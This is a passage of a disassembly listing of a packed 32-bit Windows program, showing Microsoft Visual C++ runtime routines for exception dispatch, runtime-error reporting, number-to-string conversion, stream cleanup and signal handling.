		jmp	short loc_42A90E
; ---------------------------------------------------------------------------


loc_42A8FF:				; CODE XREF: sub_42A610+295j
					; sub_42A610+2A8j
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 40h
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl


loc_42A90E:				; CODE XREF: sub_42A610:loc_42A8FDj
		jmp	short loc_42A91F
; ---------------------------------------------------------------------------


loc_42A910:				; CODE XREF: sub_42A610+258j
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 80h
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl


loc_42A91F:				; CODE XREF: sub_42A610:loc_42A90Ej
		jmp	loc_42A83E
; ---------------------------------------------------------------------------


loc_42A924:				; CODE XREF: sub_42A610+23Bj
		mov	eax, dword_4EFD40
		push	eax
		call	dword_4F1300	; LockResource
		mov	esp, ebp
		pop	ebp
		retn
sub_42A610	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	dword ptr [ebp-8], 0
		jmp	short loc_42A958
; ---------------------------------------------------------------------------


loc_42A94F:				; CODE XREF: .nsp0:loc_42A9D2j
		mov	eax, [ebp-8]
		add	eax, 1
		mov	[ebp-8], eax


loc_42A958:				; CODE XREF: .nsp0:0042A94Dj
		cmp	dword ptr [ebp-8], 40h
		jge	short loc_42A9D7
		mov	ecx, [ebp-8]
		cmp	dword_4EFC40[ecx*4], 0
		jz	short loc_42A9D2
		mov	edx, [ebp-8]
		mov	eax, dword_4EFC40[edx*4]
		mov	[ebp-4], eax
		jmp	short loc_42A983
; ---------------------------------------------------------------------------


loc_42A97A:				; CODE XREF: .nsp0:loc_42A9ADj
		mov	ecx, [ebp-4]
		add	ecx, 24h
		mov	[ebp-4], ecx


loc_42A983:				; CODE XREF: .nsp0:0042A978j
		mov	edx, [ebp-8]
		mov	eax, dword_4EFC40[edx*4]
		add	eax, 480h
		cmp	[ebp-4], eax
		jnb	short loc_42A9AF
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_42A9AD
		mov	edx, [ebp-4]
		add	edx, 0Ch
		push	edx
		call	dword_4F1398	; RtlDeleteCriticalSection


loc_42A9AD:				; CODE XREF: .nsp0:0042A99Ej
		jmp	short loc_42A97A
; ---------------------------------------------------------------------------


loc_42A9AF:				; CODE XREF: .nsp0:0042A995j
		push	2
		mov	eax, [ebp-8]
		mov	ecx, dword_4EFC40[eax*4]
		push	ecx
		call	sub_419980
		add	esp, 8
		mov	edx, [ebp-8]
		mov	dword_4EFC40[edx*4], 0


loc_42A9D2:				; CODE XREF: .nsp0:0042A969j
		jmp	loc_42A94F
; ---------------------------------------------------------------------------


loc_42A9D7:				; CODE XREF: .nsp0:0042A95Cj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A9E4	proc near		; DATA XREF: .nsp0:0041E9CAo
					; sub_427F30+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_42AA84
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_42AA17:				; CODE XREF: sub_42A9E4+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42AA7D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42AA6B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42AA6B
		js	short loc_42AA76
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D410
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D452
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D4E6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42AA6B:				; CODE XREF: sub_42A9E4+40j
					; sub_42A9E4+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_42AA17
; ---------------------------------------------------------------------------


loc_42AA76:				; CODE XREF: sub_42A9E4+54j
		mov	eax, 0
		jmp	short loc_42AA99
; ---------------------------------------------------------------------------


loc_42AA7D:				; CODE XREF: sub_42A9E4+36j
		mov	eax, 1
		jmp	short loc_42AA99
; ---------------------------------------------------------------------------


loc_42AA84:				; CODE XREF: sub_42A9E4+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D452
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42AA99:				; CODE XREF: sub_42A9E4+97j
					; sub_42A9E4+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42A9E4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D452
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AAC0	proc near		; CODE XREF: sub_41EB30+Cp
					; sub_41EB60+Cp
		push	ebp
		mov	ebp, esp
		cmp	dword_4EF8E8, 1
		jz	short loc_42AADE
		cmp	dword_4EF8E8, 0
		jnz	short loc_42AB07
		cmp	dword_451124, 1
		jnz	short loc_42AB07


loc_42AADE:				; CODE XREF: sub_42AAC0+Aj
		push	0FCh
		call	sub_42AB10
		add	esp, 4
		cmp	dword_4EFAA4, 0
		jz	short loc_42AAFA
		call	dword_4EFAA4


loc_42AAFA:				; CODE XREF: sub_42AAC0+32j
		push	0FFh
		call	sub_42AB10
		add	esp, 4


loc_42AB07:				; CODE XREF: sub_42AAC0+13j
					; sub_42AAC0+1Cj
		pop	ebp
		retn
sub_42AAC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AB10	proc near		; CODE XREF: sub_41EB30+15p
					; sub_41EB60+15p ...

var_1B0		= byte ptr -1B0h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], 0
		jmp	short loc_42AB2E
; ---------------------------------------------------------------------------


loc_42AB25:				; CODE XREF: sub_42AB10:loc_42AB45j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_42AB2E:				; CODE XREF: sub_42AB10+13j
		cmp	[ebp+var_8], 12h
		jnb	short loc_42AB47
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_451C78[ecx*8]
		jnz	short loc_42AB45
		jmp	short loc_42AB47
; ---------------------------------------------------------------------------


loc_42AB45:				; CODE XREF: sub_42AB10+31j
		jmp	short loc_42AB25
; ---------------------------------------------------------------------------


loc_42AB47:				; CODE XREF: sub_42AB10+22j
					; sub_42AB10+33j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_451C78[eax*8]
		jnz	loc_42ACC8
		cmp	[ebp+arg_0], 0FCh
		jz	short loc_42AB84
		mov	edx, [ebp+var_8]
		mov	eax, off_451C7C[edx*8]
		push	eax
		push	0
		push	0
		push	0
		push	1
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42AB84
		int	3		; Trap to Debugger


loc_42AB84:				; CODE XREF: sub_42AB10+51j
					; sub_42AB10+71j
		cmp	dword_4EF8E8, 1
		jz	short loc_42AB9F
		cmp	dword_4EF8E8, 0
		jnz	short loc_42ABD8
		cmp	dword_451124, 1
		jnz	short loc_42ABD8


loc_42AB9F:				; CODE XREF: sub_42AB10+7Bj
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, off_451C7C[edx*8]
		push	eax
		call	sub_418D00
		add	esp, 4
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, off_451C7C[ecx*8]
		push	edx
		push	0FFFFFFF4h
		call	dword_4F1468	; GetStdHandle
		push	eax
		call	dword_4F139C	; WriteFile
		jmp	loc_42ACC8
; ---------------------------------------------------------------------------


loc_42ABD8:				; CODE XREF: sub_42AB10+84j
					; sub_42AB10+8Dj
		cmp	[ebp+arg_0], 0FCh
		jz	loc_42ACC8
		push	104h
		lea	eax, [ebp+var_110]
		push	eax
		push	0
		call	dword_4F132C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_42AC11
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_41C300
		add	esp, 8


loc_42AC11:				; CODE XREF: sub_42AB10+EBj
		lea	edx, [ebp+var_110]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		cmp	eax, 3Ch
		jbe	short loc_42AC5A
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_418D00
		add	esp, 4
		mov	edx, [ebp+var_C]
		lea	eax, [edx+eax-3Bh]
		mov	[ebp+var_C], eax
		push	3
		push	offset a___	; "..."
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41B1F0
		add	esp, 0Ch


loc_42AC5A:				; CODE XREF: sub_42AB10+11Cj
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_41C300
		add	esp, 8
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_1B0]
		push	ecx
		call	sub_41C310
		add	esp, 8
		push	offset asc_437EB8 ; "\n\n"
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_41C310
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, off_451C7C[eax*8]
		push	ecx
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_41C310
		add	esp, 8
		push	12010h
		push	offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_42B680
		add	esp, 0Ch


loc_42ACC8:				; CODE XREF: sub_42AB10+44j
					; sub_42AB10+C3j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AB10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp-4], 0
		jmp	short loc_42ACE6
; ---------------------------------------------------------------------------


loc_42ACDD:				; CODE XREF: .nsp0:loc_42ACFDj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_42ACE6:				; CODE XREF: .nsp0:0042ACDBj
		cmp	dword ptr [ebp-4], 12h
		jnb	short loc_42ACFF
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	edx, dword_451C78[ecx*8]
		jnz	short loc_42ACFD
		jmp	short loc_42ACFF
; ---------------------------------------------------------------------------


loc_42ACFD:				; CODE XREF: .nsp0:0042ACF9j
		jmp	short loc_42ACDD
; ---------------------------------------------------------------------------


loc_42ACFF:				; CODE XREF: .nsp0:0042ACEAj
					; .nsp0:0042ACFBj
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		cmp	ecx, dword_451C78[eax*8]
		jnz	short loc_42AD1A
		mov	edx, [ebp-4]
		mov	eax, off_451C7C[edx*8]
		jmp	short loc_42AD1C
; ---------------------------------------------------------------------------


loc_42AD1A:				; CODE XREF: .nsp0:0042AD0Cj
		xor	eax, eax


loc_42AD1C:				; CODE XREF: .nsp0:0042AD18j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AD20	proc near		; CODE XREF: sub_41ECC0+13p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		push	2
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_8], 3
		jmp	short loc_42AD49
; ---------------------------------------------------------------------------


loc_42AD40:				; CODE XREF: sub_42AD20:loc_42ADE4j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_42AD49:				; CODE XREF: sub_42AD20+1Ej
		mov	ecx, [ebp+var_8]
		cmp	ecx, dword_4F0FA0
		jge	loc_42ADE9
		mov	edx, [ebp+var_8]
		mov	eax, dword_4EFF88
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_42ADE4
		mov	ecx, [ebp+var_8]
		mov	edx, dword_4EFF88
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	short loc_42ADA1
		mov	edx, [ebp+var_8]
		mov	eax, dword_4EFF88
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_418D80
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42ADA1
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42ADA1:				; CODE XREF: sub_42AD20+5Dj
					; sub_42AD20+76j
		cmp	[ebp+var_8], 14h
		jl	short loc_42ADE4
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4EFF88
		mov	edx, [ecx+eax*4]
		add	edx, 20h
		push	edx
		call	dword_4F1398	; RtlDeleteCriticalSection
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4EFF88
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_419980
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4EFF88
		mov	dword ptr [ecx+eax*4], 0


loc_42ADE4:				; CODE XREF: sub_42AD20+44j
					; sub_42AD20+85j
		jmp	loc_42AD40
; ---------------------------------------------------------------------------


loc_42ADE9:				; CODE XREF: sub_42AD20+32j
		push	2
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42AD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AE00	proc near		; CODE XREF: sub_41EED0+31Dp
					; sub_42FDA0+1EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_42AE27
		cmp	[ebp+arg_0], 0
		jge	short loc_42AE27
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42AE50
		add	esp, 10h
		jmp	short loc_42AE3D
; ---------------------------------------------------------------------------


loc_42AE27:				; CODE XREF: sub_42AE00+7j
					; sub_42AE00+Dj
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42AE50
		add	esp, 10h


loc_42AE3D:				; CODE XREF: sub_42AE00+25j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_42AE00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AE50	proc near		; CODE XREF: sub_42AE00+1Dp
					; sub_42AE00+35p ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_C], 0
		jz	short loc_42AE79
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	[ebp+arg_0], eax


loc_42AE79:				; CODE XREF: sub_42AE50+10j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx


loc_42AE7F:				; CODE XREF: sub_42AE50+79j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_C], 9
		jbe	short loc_42AEB1
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42AEC5
; ---------------------------------------------------------------------------


loc_42AEB1:				; CODE XREF: sub_42AE50+49j
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42AEC5:				; CODE XREF: sub_42AE50+5Fj
		cmp	[ebp+arg_0], 0
		ja	short loc_42AE7F
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_42AEDA:				; CODE XREF: sub_42AE50+BCj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_42AEDA
		mov	esp, ebp
		pop	ebp
		retn
sub_42AE50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+10h], 0Ah
		jnz	short loc_42AF39
		cmp	dword ptr [ebp+8], 0
		jge	short loc_42AF39
		mov	dword ptr [ebp-4], 1
		jmp	short loc_42AF40
; ---------------------------------------------------------------------------


loc_42AF39:				; CODE XREF: .nsp0:0042AF28j
					; .nsp0:0042AF2Ej
		mov	dword ptr [ebp-4], 0


loc_42AF40:				; CODE XREF: .nsp0:0042AF37j
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42AE50
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_42AE50
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+14h], 0Ah
		jnz	short loc_42AFA1
		cmp	dword ptr [ebp+0Ch], 0
		jg	short loc_42AFA1
		jl	short loc_42AF98
		cmp	dword ptr [ebp+8], 0
		jnb	short loc_42AFA1


loc_42AF98:				; CODE XREF: .nsp0:0042AF90j
		mov	dword ptr [ebp-4], 1
		jmp	short loc_42AFA8
; ---------------------------------------------------------------------------


loc_42AFA1:				; CODE XREF: .nsp0:0042AF88j
					; .nsp0:0042AF8Ej ...
		mov	dword ptr [ebp-4], 0


loc_42AFA8:				; CODE XREF: .nsp0:0042AF9Fj
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_42AFD0
		mov	eax, [ebp+10h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AFD0	proc near		; CODE XREF: .nsp0:0042AFBCp
					; .nsp0:0042B0E5p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_10], 0
		jz	short loc_42B004
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	ecx, [ebp+arg_4]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], ecx


loc_42B004:				; CODE XREF: sub_42AFD0+10j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_42B00A:				; CODE XREF: sub_42AFD0+9Fj
					; sub_42AFD0+A7j
		mov	eax, [ebp+arg_C]
		xor	ecx, ecx
		push	ecx
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41DF70
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		push	edx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41DF00
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		cmp	[ebp+var_C], 9
		jbe	short loc_42B057
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42B06B
; ---------------------------------------------------------------------------


loc_42B057:				; CODE XREF: sub_42AFD0+6Fj
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42B06B:				; CODE XREF: sub_42AFD0+85j
		cmp	[ebp+arg_4], 0
		ja	short loc_42B00A
		jb	short loc_42B079
		cmp	[ebp+arg_0], 0
		ja	short loc_42B00A


loc_42B079:				; CODE XREF: sub_42AFD0+A1j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_42B088:				; CODE XREF: sub_42AFD0+EAj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_42B088
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_42AFD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42AFD0
		mov	eax, [ebp+10h]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		cmp	dword ptr [ebp+0Ch], 4
		jz	short loc_42B103
		cmp	dword ptr [ebp+0Ch], 3
		jnz	short loc_42B108


loc_42B103:				; CODE XREF: .nsp0:0042B0FBj
		jmp	loc_42B2D8
; ---------------------------------------------------------------------------


loc_42B108:				; CODE XREF: .nsp0:0042B101j
		cmp	dword ptr [ebp+8], 2
		jz	short loc_42B124
		cmp	dword ptr [ebp+8], 15h
		jz	short loc_42B124
		cmp	dword ptr [ebp+8], 16h
		jz	short loc_42B124
		cmp	dword ptr [ebp+8], 0Fh
		jnz	loc_42B201


loc_42B124:				; CODE XREF: .nsp0:0042B10Cj
					; .nsp0:0042B112j ...
		push	1
		call	sub_41FB40
		add	esp, 4
		cmp	dword ptr [ebp+8], 2
		jz	short loc_42B13A
		cmp	dword ptr [ebp+8], 15h
		jnz	short loc_42B17F


loc_42B13A:				; CODE XREF: .nsp0:0042B132j
		cmp	dword_4EFAB8, 0
		jnz	short loc_42B17F
		push	1
		push	offset sub_42B320
		call	dword_4F13E0	; SetConsoleCtrlHandler
		cmp	eax, 1
		jnz	short loc_42B161
		mov	dword_4EFAB8, 1
		jmp	short loc_42B17F
; ---------------------------------------------------------------------------


loc_42B161:				; CODE XREF: .nsp0:0042B153j
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	esi, eax
		call	sub_4248B0
		mov	[eax], esi
		push	1
		call	sub_41FBE0
		add	esp, 4
		jmp	loc_42B2D8
; ---------------------------------------------------------------------------


loc_42B17F:				; CODE XREF: .nsp0:0042B138j
					; .nsp0:0042B141j ...
		mov	eax, [ebp+8]
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		sub	ecx, 2
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 14h
		ja	short loc_42B1F2
		mov	eax, [ebp-10h]
		xor	edx, edx
		mov	dl, byte_42B2FF[eax]
		jmp	off_42B2EB[edx*4]


loc_42B1A6:				; DATA XREF: .nsp0:off_42B2EBo
		mov	ecx, dword_4EFAA8
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4EFAA8, edx
		jmp	short loc_42B1F2
; ---------------------------------------------------------------------------


loc_42B1BA:				; CODE XREF: .nsp0:0042B19Fj
					; DATA XREF: .nsp0:0042B2F3o
		mov	eax, dword_4EFAAC
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	dword_4EFAAC, ecx
		jmp	short loc_42B1F2
; ---------------------------------------------------------------------------


loc_42B1CD:				; CODE XREF: .nsp0:0042B19Fj
					; DATA XREF: .nsp0:0042B2F7o
		mov	edx, dword_4EFAB0
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+0Ch]
		mov	dword_4EFAB0, eax
		jmp	short loc_42B1F2
; ---------------------------------------------------------------------------


loc_42B1E0:				; CODE XREF: .nsp0:0042B19Fj
					; DATA XREF: .nsp0:0042B2EFo
		mov	ecx, dword_4EFAB4
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4EFAB4, edx


loc_42B1F2:				; CODE XREF: .nsp0:0042B192j
					; .nsp0:0042B19Fj ...
		push	1
		call	sub_41FBE0
		add	esp, 4
		jmp	loc_42B2D3
; ---------------------------------------------------------------------------


loc_42B201:				; CODE XREF: .nsp0:0042B11Ej
		cmp	dword ptr [ebp+8], 8
		jz	short loc_42B218
		cmp	dword ptr [ebp+8], 4
		jz	short loc_42B218
		cmp	dword ptr [ebp+8], 0Bh
		jz	short loc_42B218
		jmp	loc_42B2D8
; ---------------------------------------------------------------------------


loc_42B218:				; CODE XREF: .nsp0:0042B205j
					; .nsp0:0042B20Bj ...
		call	sub_423CF0
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], offset dword_451BC8
		jnz	short loc_42B275
		push	133h
		push	offset aWinsig_c ; "winsig.c"
		push	2
		mov	ecx, dword_451C48
		push	ecx
		call	sub_418EF0
		add	esp, 10h
		mov	edx, [ebp-4]
		mov	[edx+50h], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], 0
		jz	short loc_42B273
		mov	ecx, dword_451C48
		push	ecx
		push	offset dword_451BC8
		mov	edx, [ebp-4]
		mov	eax, [edx+50h]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		jmp	short loc_42B275
; ---------------------------------------------------------------------------


loc_42B273:				; CODE XREF: .nsp0:0042B254j
		jmp	short loc_42B2D8
; ---------------------------------------------------------------------------


loc_42B275:				; CODE XREF: .nsp0:0042B22Aj
					; .nsp0:0042B271j
		mov	ecx, [ebp-4]
